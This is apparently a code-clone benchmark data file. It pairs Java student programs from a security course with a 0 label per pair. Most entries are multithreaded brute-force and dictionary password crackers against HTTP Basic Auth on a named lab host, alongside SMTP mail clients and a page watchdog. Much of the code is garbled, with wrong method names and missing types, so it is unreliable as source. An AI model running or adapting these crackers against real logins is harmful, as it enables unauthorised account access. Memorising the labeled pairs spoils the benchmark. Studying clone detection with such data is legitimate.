(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + ":" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
152.java | 182.java | 0 |
import java.net.*;
import java.io.IOException;
import java.util.*;
import java.io.*;
public class Dictionary {
static String userName;
static URL url;
static URLAuthenticator urlAuthenticator;
static int noOfAttempts;
public Dictionary() {
}
public static void main (String args[]) {
Properties props = System.getProperties();
props.put("http.proxyHost", "bluetongue.cs.rmit.edu.:8080");
System.out.println(props.get("http.proxyHost"));
BufferedReader inFile = null;
try {
if (args.length < 1) {
System.out.println ("Usage : java Dictionary /usr/share/lib/dict/words");
System.exit(1);
}
inFile = new BufferedReader (new FileReader(args[0]));
breakPassword(inFile);
}
catch (FileNotFoundException e) {
System.err.println(e.getMessage());
System.exit(1);
}
catch (IOException e) {
System.err.println(e.getMessage());
System.exit(1);
}
finally {
try {
inFile.close();
}
catch (IOException ex) {ex.printStackTrace();}
}
}
private static void breakPassword (BufferedReader file) throws
IOException {
String password=" ";
userName="";
boolean found= false;
MyHttpURLConnection httpURLConnection;
String passBase64=" ";
urlAuthenticator = new URLAuthenticator(userName);
HttpURLConnection u=null;
String input;
try {
url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/index.php");
} catch (MalformedURLException e){
} catch (IOException io) {io.printStackTrace();}
while (( input = file.readLine()) != null) {
if (input.length() <=3) {
password = input;
password =":"+ password;
try {
u = (HttpURLConnection)url.openConnection();
passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());
u.setRequestProperty("Authorization", " " + passBase64);
u.connect();
noOfAttempts++;
if (u.getContentLength() != 0) {
if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {
found=true;
System.out.println("Your User Name : Password Combination is :"+password+
" "+ " Found by Thread");
System.out.println(" ");
System.out.println(" of Attempts / Requests "+ noOfAttempts);
System.exit(0);
}
}
} catch (ProtocolException px) {px.printStackTrace();
} catch (BindException e){e.printStackTrace();
} catch (IndexOutOfBoundsException e3){e3.printStackTrace();
} catch (IOException io) {io.printStackTrace();
} finally {u.disconnect();
}
}
}
}
}
class URLAuthenticator extends Authenticator {
private String uName;
String passwd;
static private char[] password;
public URLAuthenticator(String uName) {
this.uName = uName;
}
public void setPassword(String passwd) {
this.passwd=passwd;
password=passwd.toCharArray();
}
public PasswordAuthentication getPasswordAuthentication() {
PasswordAuthentication passwordAuthentication = new PasswordAuthentication(uName,password);
return passwordAuthentication;
}
}
class MyHttpURLConnection extends HttpURLConnection {
public MyHttpURLConnection(URL url) {
super(url);
}
public void disconnect() {
}
public boolean usingProxy() {
return true;
}
public void connect() {
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
187.java | 182.java | 0 |
import java.net.*;
import java.io.*;
import java.util.Date;
public class MyMail implements Serializable
{
public static final int SMTPPort = 25;
public static final char successPrefix = '2';
public static final char morePrefix = '3';
public static final char failurePrefix = '4';
private static final String CRLF = "\r\n";
private String mailFrom = "";
private String mailTo = "";
private String messageSubject = "";
private String messageBody = "";
private String mailServer = "";
public MyMail ()
{
super();
}
public MyMail ( String serverName)
{
super();
mailServer = serverName;
}
public String getFrom()
{
return mailFrom;
}
public String getTo()
{
return mailTo;
}
public String getSubject()
{
return messageSubject;
}
public String getMessage()
{
return messageBody;
}
public String getMailServer()
{
return mailServer;
}
public void setFrom( String from )
{
mailFrom = from;
}
public void setTo ( String To )
{
mailTo = To;
}
public void setSubject ( String subject )
{
messageSubject = subject;
}
public void setMessage ( String msg )
{
messageBody = msg;
}
public void setMailServer ( String server )
{
mailServer = server;
}
private boolean responseValid( String response )
{
if (response.indexOf(" ") == -1)
return false;
String cad = response.substring( 0, response.indexOf(" "));
cad = cad.toUpperCase();
if (( cad.charAt(0) == successPrefix ) ||
( cad.charAt(0) == morePrefix ) )
return true;
else
return false;
}
public void sendMail()
{
try {
String response;
Socket mailSock = new Socket (mailServer, SMTPPort);
BufferedReader bf = new BufferedReader ( new InputStreamReader(mailSock.getInputStream()));
PrintWriter pout = new PrintWriter ( new OutputStreamWriter(mailSock.getOutputStream()));
System.out.println("1");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
try
{
InetAddress addr = InetAddress.getLocalHost();
String localHostname = addr.getHostName();
pout.print ("HELO " + localHostname + CRLF);
}
catch (UnknownHostException uhe)
{
pout.print ("HELO myhostname" + CRLF);
}
pout.flush();
System.out.println("2");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("MAIL From:<" + mailFrom + ">");
pout.flush();
System.out.println("3");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("RCPT :<" + mailTo + ">");
pout.flush();
System.out.println("4");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("DATA");
pout.flush();
System.out.println("5");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("From: " + mailFrom);
pout.println (": " + mailTo);
pout.println ("Subject: " + messageSubject);
pout.println ();
pout.println (messageBody);
pout.println (".\n\r");
pout.flush();
System.out.println("6");
response = bf.readLine();
if ( !responseValid(response) )
throw new IOException("ERR - " + response);
pout.println ("QUIT");
pout.flush();
mailSock.close();
}
catch (IOException ioe)
{
System.out.println(ioe.getMessage());
}
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
205.java | 182.java | 0 |
import java.util.*;
import java.io.*;
public class DicReader
{
private Vector v;
public DicReader( String fileName)
{
boolean flag = true;
String line;
v = new Vector( 50);
try
{
BufferedReader in = new BufferedReader( new FileReader( fileName));
while(( line = in.readLine()) != null)
{
flag = true;
if( line.length() > 0 && line.length() < 4 )
{
for( int i = 0; i < line.length(); i++)
{
if( Character.isLetter( line.charAt( i)) == false)
{
flag = false;
}
}
if( flag == true)
{
v.add( line);
}
}
}
in.print();
}
catch( IOException e)
{
System.out.println( " not open the file!");
System.exit( 0);
}
}
public Vector getVictor()
{
return v;
}
public static void main ( String [] args)
{
DicReader fr = new DicReader( "/usr/share/lib/dict/words");
System.out.println( " far "+fr.getVictor().size()+" combinations loaded");
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
203.java | 182.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
public class MailClient
{
private String host;
private int port;
private String message;
public MailClient( String host, int port, Vector lineNumbers)
{
this.host = host;
this.port = port;
StringBuffer buf = new StringBuffer(" www.cs.rmit.edu./students has been changed!\nThe changes detected in the following line numbers:\n ");
for( int i = 0; i < lineNumbers.size(); i++)
{
buf.append( lineNumbers.elementAt( i));
buf.append(", ");
}
message = buf.toString();
}
public void connect()
{
try
{
Socket client = new Socket( host, port);
handleConnection( client);
}
catch ( UnknownHostException uhe)
{
System.out.println("Unknown host: " + host);
uhe.printStackTrace();
}
catch (IOException ioe)
{
System.out.println("IOException: " + ioe);
ioe.printStackTrace();
}
}
private void handleConnection(Socket client)
{
try
{
PrintWriter out = new PrintWriter( client.getOutputStream(), true);
InputStream in = client.getInputStream();
byte[] response = new byte[1000];
in.send( response);
out.println("HELO "+host);
int numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("MAIL FROM: [email protected].");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("RCPT : @cs.rmit.edu.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("DATA");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println( message+"\n.");
numBytes = in.get( response);
System.out.write(response, 0, numBytes);
out.println("QUIT");
client.connect();
}
catch(IOException ioe)
{
System.out.println("Couldn't make connection:" + ioe);
}
}
public static void main( String[] args)
{
Vector v = new Vector();
v.add( new Integer(5));
v.add( new Integer(12));
MailClient c = new MailClient( "mail.cs.rmit.edu.", 25, v);
c.connect();
}
}
| import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
095.java | 182.java | 0 |
import java.net.*;
import java.io.*;
import java.util.*;
import java.text.*;
public class WatchDog extends Thread {
private HttpURLConnection httpUrlCon;
private URL stdurl;
private String spec = "http://www.cs.rmit.edu./students/";
private String command="";
private String firstModified ="";
private String secModified = "";
private String fileModified = "";
private BufferedReader instd;
private Vector firstVector;
private Vector secondVector;
private Vector tmpVector;
private int intervalTime = 24*60*60*1000;
private boolean bstop = false;
private int count = 0;
private int totalDuration = 30*24*60*60*1000;
private String yourSMTPserver = "mail.rmit.edu.";
private int smtpPort = 25;
private String mailFrom = "@yallara.cs.rmit.edu.";
private String mailTo = "@.rmit.edu.";
private String subject = "";
private String message ="";
private Socket socketsmtp;
private BufferedReader emailin;
private PrintStream emailout;
private String reply = "";
public WatchDog(){
firstVector = new Vector();
secondVector = new Vector();
tmpVector = new Vector();
}
public void FirstRead(){
readContent(firstVector);
firstModified = fileModified;
}
public void run(){
while(!bstop){
readPageAgain();
}
}
public void readPageAgain(){
try{
Thread.sleep(intervalTime);
}catch(InterruptedException e){e.printStackTrace();}
count += intervalTime;
readContent(secondVector);
secModified = fileModified;
if(firstModified.equals(secModified)){
if(count == totalDuration)
bstop =true;
message = "After " + (double)intervalTime/(60*60*1000) + " hours is change!";
subject = " is change the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch (SMTPException e){}
}
else if(!(firstModified.equals(secModified))){
if(count == totalDuration)
bstop = true;
message = getChangeMessage();
subject = " some changes the web ";
try{
doSendMail(mailFrom, mailTo, subject, message);
}catch(SMTPException e){}
firstModified = secModified;
firstVector.clear();
for(int i=0; i<secondVector.size(); i++){
firstVector.add((String)secondVector.get(i));
}
}
}
public void readContent(Vector avect){
String fmod ="";
if(spec.indexOf("http://www.cs.rmit.edu./")!=-1){
fmod = "File last modified :";
command = "lynx -nolist -dump " + spec;
}
else {
fmod = "Last-Modified:";
command ="lynx -mime_header -dump " +spec;
}
try{
Runtime runtime = Runtime.getRuntime();
Process p = runtime.exec(command);
instd = new BufferedReader(new InputStreamReader(p.getInputStream()));
String str=null;
avect.clear();
while((str = instd.readLine())!= null){
avect.add(str);
if(str.indexOf(fmod) !=-1){
fileModified = str;
}
}
instd.print();
}catch(MalformedURLException e){System.out.println(e.getMessage());}
catch(IOException e1){System.out.println(e1.getMessage());}
}
public String getChangeMessage(){
String mssg = "";
for(int i =0; i<secondVector.size();i++){
tmpVector.add((String)secondVector.get(i));
}
for(int i=0; i<firstVector.size(); i++){
String line = (String)(firstVector.get(i));
int same = 0;
for(int j=0; j<tmpVector.size(); j++){
String newline = (String)(tmpVector.get(j));
if(line.equals(newline)){
if(same == 0){
tmpVector.remove(j);
same++;
}
}
}
}
for(int i = 0; i<secondVector.size(); i++){
String line = (String)(secondVector.get(i));
int same =0;
for(int j=0; j<firstVector.size(); j++){
String newline = (String)(firstVector.get(j));
if(line.equals(newline)){
if(same == 0){
firstVector.remove(j);
same++;
}
}
}
}
if(firstVector.size()!=0){
mssg += "The following lines removed in the latest modified web : \r\n";
for(int i=0; i<firstVector.size(); i++){
mssg +=(String)firstVector.get(i) + "\r\n";
}
}
if(tmpVector.size()!=0){
mssg += "The following lines new ones in the latest modified web : \r\n";
for(int i=0; i<tmpVector.size(); i++){
mssg += (String)tmpVector.get(i) + "\r\n";
}
}
return mssg;
}
public void setMonitorURL(String url){
spec = url;
}
public void setMonitorDuration(int t){
totalDuration = t*60*60*1000;
}
public void setMonitorInterval(int intervalMinutes){
intervalTime = intervalMinutes*60*1000;
}
public void setSMTPServer(String server){
yourSMTPserver = server;
}
public void setSMTPPort(int port){
smtpPort = port;
}
public void setMailFrom(String mfrom){
mailFrom = mfrom;
}
public void setMailTo(String mto){
mailTo = mto;
}
public String getMonitorURL(){
return spec;
}
public getDuration(){
return totalDuration;
}
public getInterval(){
return intervalTime;
}
public String getSMTPServer(){
return yourSMTPserver;
}
public int getPortnumber(){
return smtpPort;
}
public String getMailFrom(){
return mailFrom;
}
public String getMailTo(){
return mailTo;
}
public String getServerReply() {
return reply;
}
public void doSendMail(String mfrom, String mto, String subject, String msg) throws SMTPException{
connect();
doHail(mfrom, mto);
doSendMessage(mfrom, mto, subject, msg);
doQuit();
}
public void connect() throws SMTPException {
try {
socketsmtp = new Socket(yourSMTPserver, smtpPort);
emailin = new BufferedReader(new InputStreamReader(socketsmtp.getInputStream()));
emailout = new PrintStream(socketsmtp.getOutputStream());
reply = emailin.readLine();
if (reply.charAt(0) == '2' || reply.charAt(0) == '3') {}
else {
throw new SMTPException("Error connecting SMTP server " + yourSMTPserver + " port " + smtpPort);
}
}catch(Exception e) { throw new SMTPException(e.getMessage());}
}
public void doHail(String mfrom, String mto) throws SMTPException {
if (doCommand("HELO " + yourSMTPserver))
throw new SMTPException("HELO command Error.");
if (doCommand("MAIL FROM: " + mfrom))
throw new SMTPException("MAIL command Error.");
if (doCommand("RCPT : " + mto))
throw new SMTPException("RCPT command Error.");
}
public void doSendMessage(String mfrom,String mto,String subject,String msg) throws SMTPException {
Date date = new Date();
Locale locale = new Locale("","");
String pattern = "hh:mm: a',' dd-MMM-yyyy";
SimpleDateFormat formatter = new SimpleDateFormat(pattern, locale);
formatter.setTimeZone(TimeZone.getTimeZone("Australia/Melbourne"));
String sendDate = formatter.format(date);
if (doCommand("DATA"))
throw new SMTPException("DATA command Error.");
String header = "From: " + mfrom + "\r\n";
header += ": " + mto + "\r\n";
header += "Subject: " + subject + "\r\n";
header += "Date: " + sendDate+ "\r\n\r\n";
if (doCommand(header + msg + "\r\n."))
throw new SMTPException("Mail Transmission Error.");
}
public boolean doCommand(String commd) throws SMTPException {
try {
emailout.print(commd + "\r\n");
reply = emailin.readLine();
if (reply.charAt(0) == '4' || reply.charAt(0) == '5')
return true;
else
return false;
}catch(Exception e) {throw new SMTPException(e.getMessage());}
}
public void doQuit() throws SMTPException {
try {
if (doCommand("Quit"))
throw new SMTPException("QUIT Command Error");
emailin.put();
emailout.flush();
emailout.send();
socketsmtp.put();
}catch(Exception e) { }
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
084.java | 182.java | 0 |
import java.Thread;
import java.io.*;
import java.net.*;
public class BruteForce extends Thread {
final char[] CHARACTERS = {'A','a','E','e','I','i','O','o','U','u','R','r','N','n','S','s','T','t','L','l','B','b','C','c','D','d','F','f','G','g','H','h','J','j','K','k','M','m','P','p','V','v','W','w','X','x','Z','z','Q','q','Y','y'};
final static int SUCCESS=1,
FAILED=0,
UNKNOWN=-1;
private static String host,
path,
user;
private Socket target;
private InputStream input;
private OutputStream output;
private byte[] data;
private int threads,
threadno,
response;
public static boolean solved = false;
BruteForce parent;
public BruteForce(String host, String path, String user, int threads, int threadno, BruteForce parent)
{
super();
this.parent = parent;
this.host = host;
this.path = path;
this.user = user;
this.threads = threads;
this.threadno = threadno;
}
public void run()
{
response = FAILED;
int x = 0;
starttime = System.currentTimeMillis();
for(int i=0; i<CHARACTERS.length && !parent.solved; i++)
{
for(int j=0; j<CHARACTERS.length && !parent.solved; j++)
{
for(int k=0; k<CHARACTERS.length && !parent.solved; k++)
{
if((x % threads) == threadno)
{
response = tryLogin(CHARACTERS[i] + "" + CHARACTERS[j] + CHARACTERS[k]);
if(response == SUCCESS)
{
System.out.println("SUCCESS! (after " + x + " tries) The password is: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]);
parent.solved = true;
}
if(response == UNKNOWN) System.out.println("Unexpected response (Password: "+ CHARACTERS[i] + CHARACTERS[j] + CHARACTERS[k]+")");
}
x++;
}
}
}
if(response == SUCCESS)
{
System.out.println("Used time: " + ((System.currentTimeMillis() - starttime) / 1000.0) + "sec.");
System.out.println("Thread . " + threadno + " was the one!");
}
}
public static void main (String[] args)
{
BruteForce parent;
BruteForce[] attackslaves = new BruteForce[10];
if(args.length == 3)
{
host = args[0];
path = args[1];
user = args[2];
}
else
{
System.out.println("Usage: BruteForce <host> <path> <user>");
System.out.println(" arguments specified, using standard values.");
host = "sec-crack.cs.rmit.edu.";
path = "/SEC/2/index.php";
user = "";
}
System.out.println("Host: " + host + "\nPath: " + path + "\nUser: " + user);
System.out.println("Using " + attackslaves.length + " happy threads...");
parent = new BruteForce(host, path, user, 0, 0, null);
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i] = new BruteForce(host, path, user, attackslaves.length, i, parent);
}
for(int i=0; i<attackslaves.length; i++)
{
attackslaves[i].print();
}
}
private int tryLogin(String password)
{
int success = -1;
try
{
data = new byte[12];
target = new Socket(host, 80);
input = target.getInputStream();
output = target.getOutputStream();
String base = new pw.misc.BASE64Encoder().encode(new String(user + ":" + password).getBytes());
output.write(new String("GET " + path + " HTTP/1.0\r\n").getBytes());
output.write(new String("Authorization: " + base + "\r\n\r\n").getBytes());
input.print(data);
if(new String(data).endsWith("401")) success=0;
if(new String(data).endsWith("200")) success=1;
}
catch(Exception e)
{
System.out.println(e.getClass().getName() + ": " + e.getMessage());
}
return success;
}
} | import java.net.*;
import java.io.*;
public class Dictionary extends Authenticator {
private String username;
private char [] thisPassword;
private URL url;
private BufferedReader bf;
public static void main(String [] args) {
if(args.length!=3) {
System.err.println(
"usage: Dictionary <url> <username> <dictionary-file>");
System.exit(1);
}
Dictionary d = null;
try {
d = new Dictionary(args[0], args[1], args[2]);
} catch (MalformedURLException me) {
me.printStackTrace();
System.exit(1);
} catch (FileNotFoundException fe) {
fe.printStackTrace();
System.exit(1);
}
d.work();
}
public Dictionary(String url, String username, String passwordFilename)
throws MalformedURLException, FileNotFoundException {
this.url = new URL(url);
this.username = username;
thisPassword = new char [] {'a'};
File f = new File(passwordFilename);
FileReader fr = new FileReader(f);
bf = new BufferedReader(fr);
}
public void work() {
Authenticator.setDefault(this);
HttpURLConnection uc = null;
try {
uc = (HttpURLConnection) url.openConnection();
uc.connect();
while(uc.getResponseCode()==HttpURLConnection.HTTP_UNAUTHORIZED &&
thisPassword !=null) {
try {
InputStream is = uc.getInputStream();
uc.connect();
} catch (ProtocolException pe) {
uc = (HttpURLConnection) url.openConnection();
} catch (NullPointerException npe) {
npe.printStackTrace();
System.exit(1);
}
}
} catch (java.io.IOException e ) {
e.printStackTrace();
System.exit(1);
}
System.out.println("password=" + new String(thisPassword));
}
public PasswordAuthentication getPasswordAuthentication() {
String s=null;
try {
for(s = bf.readLine(); s!=null; s = bf.readLine()) {
if(s.length()==3) {
break;
}
}
} catch (IOException e) {
e.printStackTrace();
System.exit(1);
}
if(s.length()!=3) {
thisPassword = null;
} else {
thisPassword = s.toCharArray();
}
return new PasswordAuthentication(username, thisPassword);
}
}
|
115.java | 182.java | 0 |
import java.net.*;
import java.util.*;
import java.io.*;
